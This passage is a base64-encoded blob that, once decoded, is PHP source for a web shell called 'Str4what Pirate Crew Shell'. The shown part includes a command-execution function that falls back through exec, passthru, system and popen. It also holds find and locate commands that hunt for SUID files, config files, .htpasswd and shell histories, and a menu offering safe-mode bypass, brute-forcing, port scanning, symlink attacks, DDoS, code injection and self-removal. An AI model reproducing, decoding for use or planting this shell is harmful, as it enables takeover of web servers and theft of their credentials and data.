A9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogICAgICAgICAgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLA0KICAgICAgICAgICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogICAgICAgICAgImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLA0KICAgICAgICAgICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLA0KICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsDQogICAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwNCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwNCiAgICAgICAgICAiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogICAgICAgICAgImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogICAgICAgICAgImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsDQogICAgICAgICAgImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgICAgICAgICAiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAgICAgICAgICJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwNCiAgICAgICAgICAiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwNCiAgICAgICAgICAiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAgICAgICAiTG9jYXRlIiA9PiAiIiwNCiAgICAgICAgICAibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsDQogICAgICAgICJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLA0KICAgICAgICAibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLA0KICAgICAgICAibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwNCiAgICAgICAgImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLA0KICAgICAgICAibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsDQogICAgICAgICJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwNCiAgICAgICAgImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsDQogICAgICAgICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwNCiAgICAgICAgImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsDQogICAgICAgICJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLA0KICAgICAgICAibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsDQogICAgICAgICJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLA0KICAgICAgICAibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwNCiAgICAgICAgImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsDQogICAgICAgICJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwNCiAgICAgICAgImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsDQogICAgICAgICJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsDQogICAgICAgICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwNCiAgICAgICAgImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwNCiAgICAgICAgImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLA0KICAgICAgICAibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIgICAgDQogICAgKTsNCn0NCg0KZnVuY3Rpb24gZXgoJGluKSB7DQogICAgJG91dCA9ICcnOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQogICAgICAgIEBleGVjKCRpbiwkb3V0KTsNCiAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgQHBhc3N0aHJ1KCRpbik7DQogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgQHN5c3RlbSgkaW4pOw0KICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAkb3V0ID0gc2hlbGxfZXhlYygkaW4pOw0KICAgIH1lbHNlaWYoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKSB7DQogICAgICAgICRvdXQgPSAiIjsNCiAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkNCiAgICAgICAgICAgICRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7DQogICAgICAgIHBjbG9zZSgkZik7DQogICAgfQ0KICAgIHJldHVybiAkb3V0Ow0KfQ0KDQpmdW5jdGlvbiB3aGljaCgkcCkgew0KICAgICRwYXRoID0gZXgoJ3doaWNoICcuJHApOw0KICAgIGlmKCFlbXB0eSgkcGF0aCkpDQogICAgICAgIHJldHVybiAkcGF0aDsNCiAgICByZXR1cm4gZmFsc2U7DQp9DQogICAgDQpmdW5jdGlvbiBwcmludEhlYWRlcigpIHsNCiAgICBpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpDQogICAgICAgICRfUE9TVFsnY2hhcnNldCddID0gIlVURi04IjsNCiAgICBnbG9iYWwgJGNvbG9yOw0KICAgIA0KICAgIGVjaG8gJzxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PScuJF9QT1NUWydjaGFyc2V0J10uJyI+PHRpdGxlPi46OlN0cjR3aGF0IFBpcmF0ZSBDcmV3IFNoZWxsOjouPC90aXRsZT48bGluayBSRUw9IlNIT1JUQ1VUIElDT04iIEhSRUY9Imh0dHA6Ly9zMjQucG9zdGltZy5vcmcvcXJjZXZmcHFwLzEyMy5wbmciPg0KICAgIDxzdHlsZT4NCiAgICAgICAgYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMjIyO2NvbG9yOiNmZmY7fQ0KICAgICAgICBib2R5LHRkLHRoICAgIHsgZm9udDogOXB0IEx1Y2lkYSxWZXJkYW5hO21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KICAgICAgICBzcGFuLGgxLGEgICAgeyBjb2xvcjonLiRjb2xvci4nICFpbXBvcnRhbnQ7IH0NCiAgICAgICAgc3BhbiAgICAgICAgeyBmb250LXdlaWdodDogYm9sZGVyOyB9DQogICAgICAgIGgxICAgICAgICAgICAgeyBwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTttYXJnaW46MHB4IDAgMCA1cHg7IH0NCiAgICAgICAgZGl2LmNvbnRlbnQgICAgeyBwYWRkaW5nOiA1cHg7bWFyZ2luOjAgNXB4O2JhY2tncm91bmQ6ICMzMzMzMzM7Ym9yZGVyLWJvdHRvbTo1cHggc29saWQgIzQ0NDt9DQogICAgICAgIGEgICAgICAgICAgICB7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9DQogICAgICAgIGE6aG92ZXIgICAgICAgIHsgLypiYWNrZ3JvdW5kOiM1ZTVlNWU7Ki8gfQ0KICAgICAgICAubWwxICAgICAgICB7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KICAgICAgICAuYmlnYXJlYSAgICB7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4O21hcmdpbi10b3A6NXB4O30NCiAgICAgICAgaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QgICAgeyBtYXJnaW46MDtjb2xvcjojMDBGRkZGO2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXI6MXB4IHNvbGlkICcuJGNvbG9yLic7IGZvbnQ6IDlwdCBNb25vc3BhY2UsIkNvdXJpZXIgTmV3IjsgfQ0KICAgICAgICBpbnB1dFt0eXBlPSJidXR0b24iXTpob3ZlcixpbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciB7YmFja2dyb3VuZC1jb2xvcjonLiRjb2xvci4nO2NvbG9yOiMwMDA7fSANCiAgICAgICAgZm9ybSAgICAgICAgeyBtYXJnaW46MHB4OyB9DQogICAgICAgICN0b29sc1RibCAgICB7IHRleHQtYWxpZ246Y2VudGVyOyB9DQogICAgICAgIC50b29sc0lucCAgICB7IHdpZHRoOiA4MCU7IH0NCiAgICAgICAgLm1haW4gdGggICAge3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Zm9udC13ZWlnaHQ6IGJvbGQ7fQ0KICAgICAgICAubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWU7fQ0KICAgICAgICAubWFpbiB0ZCwgdGh7dmVydGljYWwtYWxpZ246bWlkZGxlO30NCiAgICAgICAgLm1lbnUge2JhY2tncm91bmQ6ICMzMzM7fQ0KICAgICAgICAubWVudSB0aHtwYWRkaW5nOjVweDtmb250LXdlaWdodDpib2xkO30NCiAgICAgICAgLm1lbnUgdGg6aG92ZXJ7YmFja2dyb3VuZDojNDQ0O30NCiAgICAgICAgLmwxIHtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7fQ0KICAgICAgICBwcmUge2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30NCiAgICAgICAgI2NvdF90bF9maXhlZHtwb3NpdGlvbjpmaXhlZDtib3R0b206MHB4O2ZvbnQtc2l6ZToxMnB4O2xlZnQ6MHB4O3BhZGRpbmc6NHB4IDA7Y2xpcDpfdG9wOmV4cHJlc3Npb24oZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbFRvcCtkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0LXRoaXMuY2xpZW50SGVpZ2h0KTtfbGVmdDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxMZWZ0ICsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoIC0gb2Zmc2V0V2lkdGgpO30NCiAgICAgICAgLmxvZ28ge3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZTo2MHB4O30NCiAgICAgICAgLmxvZ28gc3VwIHtmb250LXNpemU6IDE1cHg7dmVydGljYWwtYWxpZ246IHRvcDttYXJnaW4tbGVmdDogLTE0cHg7fQ0KICAgICAgICAuY3ByIHttYXJnaW4tYm90dG9tOjVweDtmb250LXdlaWdodDpib2xkO30NCiAgICAgICAgLmNwYiB7d2lkdGg6MzRweDttYXJnaW46MCA1cHg7fQ0KICAgICAgICAuZWNhMSB7Zm9udC1zaXplOiAxNnB4O2ZvbnQtd2VpZ2h0OiBib2xkO2xldHRlci1zcGFjaW5nOiAxMHB4O21hcmdpbjogMCAycHggMCAxN3B4O3RleHQtYWxpZ246IGNlbnRlcjt9DQogICAgICAgIC5lY2EyIHtmb250LXNpemU6IDEzcHg7Zm9udC13ZWlnaHQ6IGJvbGQ7bGV0dGVyLXNwYWNpbmc6IDNweDttYXJnaW46IDAgMnB4IDAgN3B4O3RleHQtYWxpZ246IGNlbnRlcjt9DQogICAgICAgIC5ucG9hZCB0ZCB7cGFkZGluZzowO30NCiAgICA8L3N0eWxlPg0KICAgIDxzY3JpcHQ+DQogICAgICAgIGZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgew0KICAgICAgICAgICAgaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTsNCiAgICAgICAgICAgIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLnZhbHVlPWM7DQogICAgICAgICAgICBpZihwMSAhPSBudWxsKWRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxOw0KICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjsNCiAgICAgICAgICAgIGlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7DQogICAgICAgICAgICBpZihjaGFyc2V0ICE9IG51bGwpZG9jdW1lbnQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0Ow0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCiAgICAgICAgICAgIHNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQogICAgICAgICAgICBkb2N1bWVudC5tZi5zdWJtaXQoKTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KICAgICAgICAgICAgdmFyIHBhcmFtcyA9ICJhamF4PXRydWUiOw0KICAgICAgICAgICAgZm9yKGk9MDtpPGRvY3VtZW50Lm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspDQogICAgICAgICAgICAgICAgcGFyYW1zICs9ICImIitkb2N1bWVudC5tZi5lbGVtZW50c1tpXS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubWYuZWxlbWVudHNbaV0udmFsdWUpOw0KICAgICAgICAgICAgc3IoIicuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJyIsIHBhcmFtcyk7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsgICAgDQogICAgICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7DQogICAgICAgICAgICAgICAgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7DQogICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOw0KICAgICAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOw0KICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7DQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpIHsNCiAgICAgICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsNCiAgICAgICAgICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOw0KICAgICAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOw0KICAgICAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KICAgICAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApDQogICAgICAgICAgICAgICAgaWYocmVxLnN0YXR1cyA9PSAyMDApIHsNCiAgICAgICAgICAgICAgICAgICAgLy9hbGVydChyZXEucmVzcG9uc2VUZXh0KTsNCiAgICAgICAgICAgICAgICAgICAgdmFyIHJlZyA9IG5ldyBSZWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsNCiAgICAgICAgICAgICAgICAgICAgZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSBhbGVydCgiUmVxdWVzdCBlcnJvciEiKTsNCiAgICAgICAgfQ0KICAgIDwvc2NyaXB0Pg0KICAgIDxoZWFkPjxib2R5PjxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO3dpZHRoOjEwMCU7dG9wOjA7bGVmdDowOyI+PGRpdiBzdHlsZT0ibWFyZ2luOjVweDtiYWNrZ3JvdW5kOiM0NDQ7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyLXRvcDo1cHggc29saWQgIzQ0NDsiPg0KICAgIDxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106JycpLiciPg0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnKS4nIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDMgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pOicnKS4nIj4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4NCiAgICA8L2Zvcm0+JzsNCiAgICAkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7DQogICAgJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOw0KICAgICRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOw0KICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOw0KICAgICAgICAkZ2lkID0gQGdldG15Z2lkKCk7DQogICAgICAgICRncm91cCA9ICI/IjsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOw0KICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOw0KICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsNCiAgICAgICAgJHVpZCA9ICR1aWRbJ3VpZCddOw0KICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsNCiAgICB9DQogICAgJGN3ZF9saW5rcyA9ICcnOw0KICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQogICAgJG49Y291bnQoJHBhdGgpOw0KICAgIGZvcigkaT0wOyRpPCRuLTE7JGkrKykgew0KICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7DQogICAgICAgIGZvcigkaj0wOyRqPD0kaTskaisrKQ0KICAgICAgICAgICAgJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOw0KICAgICAgICAkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7DQogICAgfQ0KICAgICRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOw0KICAgICRvcHRfY2hhcnNldHMgPSAnJzsNCiAgICBmb3JlYWNoKCRjaGFyc2V0cyBhcyAkaXRlbSkNCiAgICAgICAgJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOw0KICAgICRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ0J5cGFzc2VyJz0+J1NhZmVNb2RlJywnU2FmZSBNb2RlJz0+J0J5cGFzcycsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ0JydXRlZm9yY2UnPT4nQnJ1dGVmb3JjZScsJ05ldHdvcmsnPT4nTmV0d29yaycsJ1JlYWRhYmxlIERpcnMnPT4nUmVhZGFibGUnLCdQb3J0IFNjYW5uZXInPT4nUG9ydFNjYW5uZXInLCdTeW1saW5rJz0+J1N5bWxpbmsnLCdERG9TJz0+J0Rkb3MnLCdNYWlsJz0+J01haWwnLCdDb2RlIEluamVjdG9yJz0+J0luamVjdG9yJyk7DQogICAgaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpDQogICAgJG1bJ1NlbGZLaWxsJ10gPSAnU2VsZlJlbW92ZSc7DQogICAgJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7DQogICAgJG1lbnUgPSAnJzsNCiAgICBmb3JlYWNoKCRtIGFzICRrID0+ICR2KQ0KICAgICAgICAkbWVudSAuPSAnPHRoPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPjwvdGg+JzsNCiAgICAkZHJpdmVzID0gIiI7DQogICAgaWYgKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7DQogICAgICAgIGZvcmVhY2goIHJhbmdlKCdhJywneicpIGFzICRkcml2ZSApew0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKQ0KICAgICAgICAgICAgICAgICRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsNCiAgICAgICAgfQ0KICAgICAgICAkZHJpdmVzIC49ICc8YnIgLz46ICc7DQogICAgfQ0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7DQogICAgICAgICRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7DQogICAgICAgIGlmKCEkZG9taW5pb3MpIHsNCiAgICAgICAgICAgICRkMGMgPSAiQ0FOVCBSRUFEIG5hbWVkLmNvbmYiOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsNCiAgICAgICAgICAgICRvdXQgPSBzaXplb2YoYXJyYXlfdW5pcXVlKCRvdXRbMV0pKTsNCiAgICAgICAgICAgICRkMGMgPSAkb3V0LiIgIERvbWFpbnMiOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGQwYyA9ICIgLS0tICI7DQogICAgfQ0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkNCiAgICB7DQogICAgICAgICR1c2VmbCA9ICcnOyAkZHdubGRyID0gJyc7DQogICAgICAgIGlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpIHsNCiAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOw0KICAgICAgICAgICAgZm9yZWFjaCgkdXNlcmZ1bCBhcyAkaXRlbSkgeyBpZih3aGljaCgkaXRlbSkpICR1c2VmbC49ICRpdGVtLicsJzsgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgICAgICAgIGZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRpdGVtMikgeyBpZih3aGljaCgkaXRlbTIpKSAkZHdubGRyLj0gJGl0ZW0yLicsJzsgfQ0KICAgICAgICB9IGVsc2